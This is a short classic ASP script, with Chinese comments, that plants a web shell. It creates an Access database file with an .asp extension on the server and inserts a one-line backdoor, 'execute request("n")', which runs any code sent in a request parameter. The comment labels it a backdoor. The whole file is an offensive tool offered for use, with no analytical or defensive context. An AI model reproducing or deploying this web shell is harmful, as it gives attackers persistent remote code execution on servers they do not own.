<%    'code by netpatch   dim dbfile,sql    db="netpatch.asp"   dbfile=server.MapPath(db)    set ydb=server.CreateObject("ADOX.Catalog")    ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile    set ydb=nothing    if err.number=0 then    Response.Write dbfile & " 创建成功<br> "    else    Response.Write "创建失败，原因： " & err.description    Response.End    end if    Set Conn = Server.CreateObject("ADODB.Connection")    Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile    sql="CREATE TABLE fdata([data] Memo)"    conn.execute(sql)    Set rs = CreateObject("ADODB.RecordSet")    rs.Open "FData", conn, 1, 3    rs.addnew    rs("data")="<%execute request(“n”))%>" '(注释记得去掉！一句话后门 execute request(“n”))   rs.update    %>